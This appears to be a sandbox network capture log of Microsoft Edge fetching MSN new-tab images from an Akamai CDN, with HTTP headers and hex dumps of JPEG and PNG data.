2024-11-11 20:59:23 UTC	15864	IN	Data Raw: ff d8 ff e2 0c 58 49 43 43 5f 50 52 4f 46 49 4c 45 00 01 01 00 00 0c 48 4c 69 6e 6f 02 10 00 00 6d 6e 74 72 52 47 42 20 58 59 5a 20 07 ce 00 02 00 09 00 06 00 31 00 00 61 63 73 70 4d 53 46 54 00 00 00 00 49 45 43 20 73 52 47 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f6 d6 00 01 00 00 00 00 d3 2d 48 50 20 20 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 11 63 70 72 74 00 00 01 50 00 00 00 33 64 65 73 63 00 00 01 84 00 00 00 6c 77 74 70 74 00 00 01 f0 00 00 00 14 62 6b 70 74 00 00 02 04 00 00 00 14 72 58 59 5a 00 00 02 18 00 00 00 14 67 58 59 5a 00 00 02 2c 00 00 00 14 62 58 59 5a 00 00 02 40 00 00 00 14 64 6d 6e 64 00 00 02 54 00 00 00 70 64 6d 64 64 00 00 02 Data Ascii: XICC_PROFILEHLinomntrRGB XYZ 1acspMSFTIEC sRGB-HP cprtP3desclwtptbkptrXYZgXYZ,bXYZ@dmndTpdmdd
2024-11-11 20:59:23 UTC	16384	IN	Data Raw: 81 a1 b4 5f 99 e5 16 15 8f 36 74 ee db b5 2e a1 06 2f 94 ae 36 58 52 45 c3 02 c5 67 a4 c7 9d e9 cf 9b 0f 6d db 76 e1 db 0a 46 e0 a4 c7 a8 6e b4 ee fa 8c 74 36 ac 3d ae 3d ce 21 4c 9f 54 da 02 f0 9e 5d 39 cd 2f fa b1 df 8c 20 93 2e bb 40 fe 10 64 9e 91 3d 05 48 b5 1f dd fe b0 0b 7e d0 22 96 53 c0 58 df 70 6f e2 fb 6d 58 d1 76 ee 62 07 a7 6c 0e 25 af f0 10 6b 5e 37 0f b3 12 fa a2 07 8c 71 a2 1d f7 6e 55 91 43 01 b9 44 cf 30 0c 9b 6b ac 7c e9 27 9c 9a 6a 52 4a b9 66 fe d7 dc cd 77 61 b6 26 ff 00 08 b0 80 39 0a 03 fa 96 7f 7c 0c 78 e2 15 86 d2 7f 70 9f 54 db 51 63 e5 22 96 ca e9 87 19 c7 32 4a f2 b8 e5 34 dd c2 4b 3a ee be 80 9e 80 54 72 ef a7 06 51 4b 87 e4 37 85 7d 84 55 dd 3c d8 cc 12 7e ca d8 57 dc 3a 5e 0c 72 e8 6b 16 45 f7 71 38 8d 74 f1 1a 50 ac 39 72 Data Ascii: _6t./6XREgmvFnt6==!LT]9/ .@d=H~"SXpomXvbl%k^7qnUCD0k\|'jRJfwa&9\|xpTQc"2J4K:TrQK7}U<~W:^rkEq8tP9r
2024-11-11 20:59:23 UTC	2204	IN	Data Raw: 71 2a 38 6e 3f 57 e1 53 6e 57 9b 5e b5 36 51 88 0f 5c 8e 82 07 c2 4c 56 4c a5 40 da be 60 73 a6 f6 5e ec 63 7d b1 cb c3 e5 ce b2 51 de 65 ea e8 76 e6 2b 9b 18 02 c7 84 eb 3c 80 23 88 e1 ad 36 d0 95 cc 2f 13 e9 23 84 f0 3f 95 53 3e f0 2f 30 2d d3 c2 95 74 dd ed e4 b0 de 04 f2 dd fd 8e bd 2b 58 c3 6e 0d 25 1a 37 e3 63 2e 09 3f e3 71 1a c4 11 06 79 f1 a3 11 36 1a 44 d6 04 61 95 78 5c 1b 4d e6 b2 1c e5 06 d2 84 93 22 41 11 fd 46 60 df 5d 0d 65 28 db c1 2f 06 ac f3 b1 87 12 0c 78 f2 a6 ee 3f fe d0 1c 84 10 cc c4 00 79 08 bd 1c c9 90 03 00 b4 ed 99 d2 6d a8 e9 e1 4c 6c cf 97 2e 44 46 93 c0 02 41 8e 42 75 f9 de ba f4 d3 78 f0 61 a8 ea ba f8 0f 7f 3b 93 21 8d 49 b2 98 3c 78 72 9f 28 a7 12 33 e7 42 85 8a 13 2a 47 09 fc 57 f8 af 1a 13 83 16 cd aa ca 08 1b 4c f2 93 Data Ascii: q8n?WSnW^6Q\LVL@`s^c}Qev+<#6/#?S>/0-t+Xn%7c.?qy6Dax\M"AF`]e(/x?ymLl.DFABuxa;!I<xr(3BGWL
2024-11-11 20:59:23 UTC	16384	IN	Data Raw: 7b 70 42 8f 56 d0 b7 24 bc ed 0c 07 11 b6 f4 ab e2 7c 6f 94 6e be d4 fa 94 2c 86 d0 6d 06 c4 1e 55 1e c0 7b 99 c5 d5 82 93 93 77 18 00 47 13 17 e5 45 fb b0 de fb 64 dc 20 05 06 d3 1c a6 62 f4 f8 c1 87 fd 02 99 55 10 bb 10 4f a8 2c c3 01 1d 27 9e b4 d0 7c ac c0 40 46 11 f5 82 d1 e4 26 3e 14 63 bc 00 aa 16 2c c3 69 1a 05 83 6d 38 35 f5 b5 36 32 10 07 db f3 d2 b5 82 2e 40 cc cd 3f e9 5d 89 62 4f 08 a8 15 b9 26 41 e1 6e 1d 79 52 fb 82 2f 88 ae 93 9b c8 90 be 86 7c 04 7e 75 64 18 89 80 35 fb f4 a4 26 3a 56 82 61 62 c7 48 b9 f8 c4 7d b4 c4 8c fb 37 79 df 95 5b 9f 6d 6f 68 fb fc e9 46 51 f5 5c 74 eb 40 7b 82 c5 80 33 1c 3a d0 4c 9e d4 38 7b 7e e5 46 32 05 bd 50 07 12 48 d4 9a 5c f0 3e 32 68 47 6f 80 ad cd 98 f0 e2 05 17 09 61 17 9b 69 f6 45 2a 34 4e 4e 2a c4 76 Data Ascii: {pBV$\|on,mU{wGEd bUO,'\|@F&>c,im8562.@?]bO&AnyR/\|~ud5&:VabH}7y[mohFQ\t@{3:L8{~F2PH\>2hGoaiE4NNv
2024-11-11 20:59:23 UTC	16384	IN	Data Raw: 83 c6 fe 23 e1 fd ab 6e 66 5c 98 ce d0 7d 2c b1 c8 c9 89 17 e0 79 f9 56 51 9c e2 07 1e ee 36 01 77 49 e5 a1 fb 05 61 4f c0 e4 d3 16 63 31 20 7a 4c 80 6f 7e 62 2f f2 a1 99 b0 96 25 8b 42 91 a0 69 04 f1 10 74 d7 cf 59 a3 d8 86 4c 9e b2 02 ad a0 b5 99 bc a2 40 1f 1a 71 63 fd 31 72 c3 bb 15 06 fb 57 53 d4 ee 98 f2 13 4e 17 66 52 9c 12 b7 fe 4f 16 c8 9e db 7f 09 e5 fb 4f 5a e0 0a 34 af 0b fc b8 8a f5 cc fd af e9 b8 c3 29 c7 ee 11 72 3d c3 be ff 00 ee 11 ff 00 14 d6 fe 5b b7 92 c3 7e 15 e0 1b 22 e4 f3 04 80 7e 33 5d 9b 95 1c 31 8f c4 95 c5 34 8c aa 7d dd 99 14 9d c7 58 11 1c c1 e1 1f 6d 58 c8 64 d8 d8 1e 11 36 bf 98 fc a9 4c 78 53 16 42 57 26 e1 f8 76 c5 fe 66 88 26 19 dd 03 d5 aa 89 d4 fe 1e 92 6b 1c 1e c2 4f 6d fb 99 fb 7e e0 92 2e 21 40 04 18 82 07 1a 96 6c Data Ascii: #nf\},yVQ6wIaOc1 zLo~b/%BitYL@qc1rWSNfROOZ4)r=[~"~3]14}XmXd6LxSBW&vf&kOm~.!@l
2024-11-11 20:59:23 UTC	7952	IN	Data Raw: 10 a3 a4 01 15 b4 e3 dd 6f da 6f a9 20 fc 2d d6 b0 f7 4e 14 2e 3c 6e aa d3 2e 62 54 28 e1 e2 4d c0 f9 d6 2e 56 6d b5 0a 66 c8 d8 c1 c8 ca 99 12 48 17 da c4 8d 40 b7 0f 33 4d 36 53 91 89 6c 7b 77 4d ae 22 74 03 c2 8c 9c 60 95 97 09 b4 7a 41 b9 b7 18 e6 79 d4 9a 71 2e a6 49 00 6e e2 4f 1b f0 ea 45 64 9d 1d 14 24 81 50 5b f6 8b da d1 cb 8a db 48 8a 07 91 46 e9 11 b5 22 47 36 65 90 22 39 1d 23 c6 b5 b7 72 6e ac a4 36 9b 83 03 7e b6 51 1e 40 72 ac 99 0a 08 0c da 0d 09 93 3c 49 0b c4 f0 00 57 44 62 d9 32 6a b9 40 67 42 cf b9 ae d6 8e 00 0f 86 95 b7 12 8c 8c 52 42 a0 13 93 24 59 44 5c 0e 04 9d 04 ea 6b 21 97 fa 0b 05 98 9d 80 9e bc 64 91 d2 40 e3 58 f2 f7 8c a9 ec e0 51 b4 b4 fa a1 b7 72 df a0 6f 08 81 ca bb d4 69 1e 6b d4 b7 8e 3f b1 c2 7f cc 46 2e d9 76 f6 fb Data Ascii: oo -N.<n.bT(M.VmfH@3M6Sl{wM"t`zAyq.InOEd$P[HF"G6e"9#rn6~Q@r<IWDb2j@gBRB$YD\k!d@XQroik?F.v
2024-11-11 20:59:23 UTC	16384	IN	Data Raw: 0c 52 d7 1f 7b 7c eb aa 2d 33 7f fe 89 af 0b d4 f3 11 fa 47 74 f0 4f b7 8e f7 dc db be 0a a7 ed a5 47 e8 4c 4c b6 7d bf d3 8e 7e 25 81 f8 57 a4 eb 59 86 55 39 0e 33 21 a2 44 fe e1 cd 79 c6 84 6a 2b 7f 07 2b d6 9b f3 f2 18 27 f4 47 99 19 d5 8f f1 63 23 ec 63 f6 50 dc df a4 77 58 f7 b0 41 96 74 f6 df d4 0c 47 d2 c1 6d e1 26 bd 20 e5 da fb 0f ee fa 4f 36 d7 61 e4 c4 5d 78 35 6d 47 0e a0 8e 35 29 af 25 2d 7d 45 e6 fd 51 e0 8b 89 b1 90 ad 2a c3 f6 91 07 e4 69 52 76 ea 38 db ef e3 5e e3 9b 0e 3e e1 76 e4 50 e3 ae a3 c0 ea 0f 51 4c ac ff 00 a2 06 ff 00 b5 90 8f e1 c9 71 1d 19 44 fc c1 ac f0 d9 e9 43 f7 51 ac ad af dd 0c 7f 75 97 89 88 9a 22 99 c9 24 72 b5 0f cd 85 b0 37 b7 95 59 1a 0c 4e 87 aa 9d 18 75 14 2d 1b 63 1d 4f db 14 a8 f4 d6 a5 d6 6d 3f 27 a0 e2 ee 76 Data Ascii: R{\|-3GtOGLL}~%WYU93!Dyj++'Gc#cPwXAtGm& O6a]x5mG5)%-}EQ*iRv8^>vPQLqDCQu"$r7YNu-cOm?'v
2024-11-11 20:59:23 UTC	6748	IN	Data Raw: 41 02 09 db fe 4d a2 01 9f 54 ae e2 4d 45 57 30 dc 70 c4 16 fa 36 ed 59 1f 54 9d 7d 47 e9 6d 28 c0 d5 ac 7f 5e 0d 78 84 7a 80 13 c6 54 2b 7c 86 9f 29 ab fd c4 fd 20 6b 7f cf f3 9a c0 99 d9 8c 1c 61 36 46 f4 3b 8e 50 3c 2d 23 a8 26 68 86 f4 0c 04 3c 93 00 e8 a6 06 e9 17 d3 85 ea 69 9a a9 23 95 d1 a4 2e 46 24 5b 81 1f 28 82 3c af 53 55 e6 00 8f dc 00 00 78 7a ba c1 34 3c a0 00 94 85 25 a4 87 1a 74 d6 07 4b d5 fb a4 59 d0 0e 04 b9 0a 67 e5 79 e0 41 3d 6a 68 78 1c 78 b3 6e f4 b3 90 d0 35 00 a3 75 31 71 e5 0b d2 8d 9c 23 55 21 a6 fd 0f 84 53 3e 43 8f 49 d9 17 d2 6f f3 f9 da 39 51 9c 39 7d b6 85 0a dc 59 64 08 6b 49 12 c2 2d c8 41 a6 71 4f 4d c7 31 bf 41 6c 8b 07 95 62 f7 0d ef e3 b7 fb 73 a2 b9 0a 77 1b 1b 1e d6 53 3b 86 e0 1d 62 d2 aa 75 bd 88 f3 14 23 27 a7 Data Ascii: AMTMEW0p6YT}Gm(^xzT+\|) ka6F;P<-#&h<i#.F$[(<SUxz4<%tKYgyA=jhxxn5u1q#U!S>CIo9Q9}YdkI-AqOM1AlbswS;bu#'
2024-11-11 20:59:23 UTC	16384	IN	Data Raw: 9a 6b ef 9d 63 d8 d3 bd 93 d2 f2 19 60 0e 20 37 96 b8 dd 64 5a c0 e9 ac 50 bc ce 31 fc e5 66 fc 40 65 3f 1e a0 d2 8b 8f 27 b7 01 83 15 f4 a8 3c ac 40 99 e2 22 2a 39 07 bb 8d ca 24 38 1b 1f d3 13 03 d2 d1 c1 92 6f d0 f8 56 ce 56 63 18 6c ef dc 49 89 bf ab a6 b7 3c b8 0b f2 e7 59 99 b6 a2 66 1c 77 4a f1 9d a5 47 93 1f 49 9d 35 ae 1d c0 d8 8c 7f 72 c9 b6 86 de 3c 67 5a 1d dc 64 23 1e 44 da 6f e8 d7 d2 0b 28 01 8f f5 5b fd d3 58 1d ef 24 a5 71 d8 5c 0e 3c 49 e6 7c 6b 5a d0 6d de af aa 60 79 cf df e1 e3 45 10 da b9 a4 7a 30 e0 8e 55 90 66 e8 41 56 1c 87 e2 fe fc b5 e7 58 15 c9 63 8d c0 24 41 9f c4 38 30 8e 07 c6 c6 d4 6a 4f 0a cb 93 11 85 64 02 52 4a 8e 60 ea be 07 87 23 15 09 8d a6 9d fb a3 bd b5 c7 eb 59 f0 92 6c 78 5f 58 e1 cc 5a 88 e3 c3 ef 7a 90 c1 3e 6a Data Ascii: kc` 7dZP1f@e?'<@"*9$8oVVclI<YfwJGI5r<gZd#Do([X$q\<I\|kZm`yEz0UfAVXc$A80jOdRJ`#Ylx_XZz>j
2024-11-11 20:59:23 UTC	16384	IN	Data Raw: dc 54 b4 1d 3f e7 97 18 a0 17 51 06 95 04 e8 38 eb 6f 0e 55 9e 26 4c 18 b1 06 f2 3e 5a 75 03 5a d2 43 cd c7 8d ef f2 ac b9 01 1c 1b 5b d8 c8 fc 8f 5d 69 1b 36 81 0c 8d 81 86 74 20 08 9c 81 60 ca 8d 18 a9 91 6e 24 69 51 c3 de 0f 7e 54 aa 8c 83 71 6b 46 e8 33 31 6b 92 39 4e b4 53 10 58 ff 00 1e 41 13 c2 20 73 9b c4 7e 74 d9 cf db 62 0d e8 98 0e 0b 00 45 87 17 51 1c a0 c0 8a e8 59 c3 38 24 9a cc 68 3d 93 37 a9 97 42 04 f8 f0 b7 1f 2a c1 be 3e b2 a2 46 b1 c0 18 33 26 35 e5 48 fb a3 36 55 20 9d ac 40 92 20 0d 49 00 8d 0f 89 d0 f1 ad 1e d9 c7 a9 53 3f 4f d5 ac 9f c5 fb a3 e7 45 51 b6 ed dc 70 0b 6f f0 b6 e5 3b 94 ed dd ad 8a c8 0d 71 6b 18 1a e9 06 89 06 5c 81 5f 43 bb 6d 80 6e 71 c0 86 9b 70 14 b9 29 37 03 42 0c 00 23 86 bc 8e 9f 2a e6 38 d0 00 01 d4 1f 30 41 Data Ascii: T?Q8oU&L>ZuZC[]i6t `n$iQ~TqkF31k9NSXA s~tbEQY8$h=7B>F3&5H6U @ IS?OEQpo;qk\_Cmnqp)7B#80A

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
57	192.168.2.5	58776	23.57.90.101	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	634	OUT	GET /tenant/amp/entityid/AA13Q6AL.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:23 UTC	515	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA13Q6AL Last-Modified: Thu, 07 Nov 2024 12:58:05 GMT X-Source-Length: 1658 X-Datacenter: eastus X-ActivityId: ba24fde8-14e0-48b8-a3cb-6556d76b4d9b Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 1658 Cache-Control: public, max-age=57513 Expires: Tue, 12 Nov 2024 12:57:56 GMT Date: Mon, 11 Nov 2024 20:59:23 GMT Connection: close
2024-11-11 20:59:23 UTC	1658	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 06 62 4b 47 44 00 ff 00 ff 00 ff a0 bd a7 93 00 00 06 2f 49 44 41 54 58 c3 d5 57 7d 6c 14 45 14 7f 33 b3 bb 77 d7 2b a5 e5 a3 48 a9 7c c4 10 82 44 12 25 d8 18 4d 8a 5a 35 11 49 0d d2 26 fc 51 03 c6 04 c3 57 03 25 a0 50 b0 11 21 d4 a4 26 02 51 f0 0b 22 06 12 30 a6 84 18 48 8a 5a 08 22 88 c4 80 80 f6 0f 3e 5a 01 11 90 c2 41 da bb 9d dd 19 df cc ee 6d f7 bc 83 16 89 31 ee e5 dd 9b 9d db 9d df ef fd de bc b7 7b 00 ff f1 41 ee f6 86 8d 0d 17 f3 be ed 3c bf 2d 61 d1 32 37 6a 15 09 d3 e0 c4 20 27 a4 41 b7 44 fb f7 db b4 6b 56 49 d7 bf 42 a0 a1 41 d2 a1 a2 e3 a5 7d 7f b6 6f 3a 2f ec b8 99 df 1f 68 3c 0f 88 45 01 0c 0a 04 4d 32 72 81 30 da 50 50 3c 6a d3 8e Data Ascii: PNGIHDR szzbKGD/IDATXW}lE3w+H\|D%MZ5I&QW%P!&Q"0HZ">ZAm1{A<-a27j 'ADkVIBA}o:/h<EM2r0PP<j

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
58	192.168.2.5	58774	23.57.90.101	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	633	OUT	GET /tenant/amp/entityid/AAc9vHK.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:23 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Mon, 11 Nov 2024 13:51:58 GMT X-Datacenter: northeu X-ActivityId: 03b090a8-ff0d-477a-9433-19affde5f1c7 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AAc9vHK X-Source-Length: 1218 Content-Length: 1218 Cache-Control: public, max-age=406447 Expires: Sat, 16 Nov 2024 13:53:30 GMT Date: Mon, 11 Nov 2024 20:59:23 GMT Connection: close
2024-11-11 20:59:23 UTC	1218	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 20 00 00 00 20 08 06 00 00 00 73 7a 7a f4 00 00 00 19 74 45 58 74 53 6f 66 74 77 61 72 65 00 41 64 6f 62 65 20 49 6d 61 67 65 52 65 61 64 79 71 c9 65 3c 00 00 03 71 69 54 58 74 58 4d 4c 3a 63 6f 6d 2e 61 64 6f 62 65 2e 78 6d 70 00 00 00 00 00 3c 3f 78 70 61 63 6b 65 74 20 62 65 67 69 6e 3d 22 ef bb bf 22 20 69 64 3d 22 57 35 4d 30 4d 70 43 65 68 69 48 7a 72 65 53 7a 4e 54 63 7a 6b 63 39 64 22 3f 3e 20 3c 78 3a 78 6d 70 6d 65 74 61 20 78 6d 6c 6e 73 3a 78 3d 22 61 64 6f 62 65 3a 6e 73 3a 6d 65 74 61 2f 22 20 78 3a 78 6d 70 74 6b 3d 22 41 64 6f 62 65 20 58 4d 50 20 43 6f 72 65 20 35 2e 35 2d 63 30 31 34 20 37 39 2e 31 35 31 34 38 31 2c 20 32 30 31 33 2f 30 33 2f 31 33 2d 31 32 3a 30 39 3a 31 35 20 20 Data Ascii: PNGIHDR szztEXtSoftwareAdobe ImageReadyqe<qiTXtXML:com.adobe.xmp<?xpacket begin="" id="W5M0MpCehiHzreSzNTczkc9d"?> <x:xmpmeta xmlns:x="adobe:ns:meta/" x:xmptk="Adobe XMP Core 5.5-c014 79.151481, 2013/03/13-12:09:15

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
59	192.168.2.5	58775	23.57.90.101	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	634	OUT	GET /tenant/amp/entityid/BB1lFz6G.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:23 UTC	516	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/BB1lFz6G Last-Modified: Sun, 10 Nov 2024 06:14:35 GMT X-Source-Length: 5699 X-Datacenter: eastap X-ActivityId: 96a315e5-981f-47e5-bbfa-17d63c15ba44 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Length: 5699 Cache-Control: public, max-age=292516 Expires: Fri, 15 Nov 2024 06:14:39 GMT Date: Mon, 11 Nov 2024 20:59:23 GMT Connection: close
2024-11-11 20:59:23 UTC	5699	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 00 04 67 41 4d 41 00 00 b1 8f 0b fc 61 05 00 00 00 20 63 48 52 4d 00 00 7a 26 00 00 80 84 00 00 fa 00 00 00 80 e8 00 00 75 30 00 00 ea 60 00 00 3a 98 00 00 17 70 9c ba 51 3c 00 00 00 84 65 58 49 66 4d 4d 00 2a 00 00 00 08 00 05 01 12 00 03 00 00 00 01 00 01 00 00 01 1a 00 05 00 00 00 01 00 00 00 4a 01 1b 00 05 00 00 00 01 00 00 00 52 01 28 00 03 00 00 00 01 00 02 00 00 87 69 00 04 00 00 00 01 00 00 00 5a 00 00 00 00 00 00 00 48 00 00 00 01 00 00 00 48 00 00 00 01 00 03 a0 01 00 03 00 00 00 01 00 01 00 00 a0 02 00 04 00 00 00 01 00 00 00 32 a0 03 00 04 00 00 00 01 00 00 00 32 00 00 00 00 86 f1 c2 a8 00 00 00 09 70 48 59 73 00 00 0b 13 00 00 0b 13 01 00 Data Ascii: PNGIHDR22?gAMAa cHRMz&u0`:pQ<eXIfMM*JR(iZHH22pHYs

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
60	192.168.2.5	58772	23.57.90.101	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	634	OUT	GET /tenant/amp/entityid/AA1hk7Sh.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:23 UTC	516	IN	HTTP/1.1 200 OK Access-Control-Allow-Origin: * Last-Modified: Wed, 16 Oct 2024 13:27:27 GMT X-Datacenter: westus X-ActivityId: e052a22a-abc6-4901-8eb3-22f69d832642 Timing-Allow-Origin: * X-Frame-Options: DENY X-ResizerVersion: 1.0 Content-Type: image/png Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1hk7Sh X-Source-Length: 6962 Content-Length: 6962 Cache-Control: public, max-age=102447 Expires: Wed, 13 Nov 2024 01:26:50 GMT Date: Mon, 11 Nov 2024 20:59:23 GMT Connection: close
2024-11-11 20:59:23 UTC	6962	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 32 00 00 00 32 08 06 00 00 00 1e 3f 88 b1 00 00 0c 3f 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 84 12 40 40 4a e8 4d 10 a9 01 a4 84 d0 42 ef 08 36 42 12 20 94 18 03 41 c5 8e 2e 2a b8 76 b1 80 0d 5d 15 51 b0 02 62 47 ec 2c 8a bd 2f 16 54 94 75 b1 60 57 de a4 80 ae fb ca f7 e6 fb e6 ce 7f ff 39 f3 9f 33 e7 ce dc 7b 07 00 8d e3 3c 89 24 0f d5 04 20 5f 5c 28 8d 0f 0d 64 8e 4a 4d 63 92 9e 02 0c d0 01 15 38 01 4b 1e bf 40 c2 8e 8d 8d 04 b0 0c b4 7f 2f ef ae 03 44 de 5e 71 94 6b fd b3 ff bf 16 2d 81 b0 80 0f 00 12 0b 71 86 a0 80 9f 0f f1 7e 00 f0 2a be 44 5a 08 00 51 ce 5b 4c 2a 94 c8 31 ac 40 47 0a 03 84 78 be 1c 67 29 71 95 1c 67 28 f1 6e 85 4d 62 3c 07 Data Ascii: PNGIHDR22??iCCPICC ProfileHWXS[@@JMB6B A.v]QbG,/Tu`W93{<$ _\(dJMc8K@/D^qk-q~DZQ[L*1@Gxg)qg(nMb<

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
61	192.168.2.5	58771	23.57.90.101	443	7456	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-11 20:59:23 UTC	634	OUT	GET /tenant/amp/entityid/AA1t99ka.img HTTP/1.1 Host: img-s-msn-com.akamaized.net Connection: keep-alive sec-ch-ua: "Microsoft Edge";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.47 sec-ch-ua-platform: "Windows" Accept: image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://ntp.msn.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-11 20:59:23 UTC	518	IN	HTTP/1.1 200 OK Content-Type: image/png Access-Control-Allow-Origin: * Content-Location: https://img.s-msn.com/tenant/amp/entityid/AA1t99ka Last-Modified: Fri, 01 Nov 2024 18:01:14 GMT X-Source-Length: 20811 X-Datacenter: eastus X-ActivityId: ee99dc34-c4cc-40d2-beb4-909b60878009 Timing-Allow-Origin: * X-Frame-Options: deny X-ResizerVersion: 1.0 Content-Length: 20811 Cache-Control: public, max-age=335003 Expires: Fri, 15 Nov 2024 18:02:46 GMT Date: Mon, 11 Nov 2024 20:59:23 GMT Connection: close
2024-11-11 20:59:23 UTC	15866	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 90 00 00 01 90 08 02 00 00 00 0f dd a1 9b 00 00 0c 3e 69 43 43 50 49 43 43 20 50 72 6f 66 69 6c 65 00 00 48 89 95 57 07 58 53 c9 16 9e 5b 92 90 90 10 20 80 80 94 d0 9b 20 22 25 80 94 10 5a 00 e9 45 b0 11 92 00 a1 c4 18 08 2a 76 74 51 c1 b5 8b 08 d8 d0 55 11 c5 0e 88 1d b1 b3 28 f6 be 58 50 50 d6 c5 82 5d 79 93 02 ba ee 2b df 9b 7c 33 f3 e7 9f 33 ff 39 73 ee dc 32 00 d0 4f f0 24 92 1c 54 13 80 5c 71 be 34 36 24 80 39 26 39 85 49 ea 02 28 a0 c2 df 50 40 e7 f1 f3 24 ec e8 e8 08 00 cb 40 ff f7 f2 ee 06 40 e4 fd 55 47 b9 d6 3f c7 ff 6b d1 12 08 f3 f8 00 20 d1 10 a7 09 f2 f8 b9 10 1f 00 00 af e2 4b a4 f9 00 10 e5 bc c5 94 7c 89 1c c3 0a 74 a4 30 40 88 17 ca 71 86 12 57 c9 71 9a 12 ef 51 d8 c4 c7 72 20 6e Data Ascii: 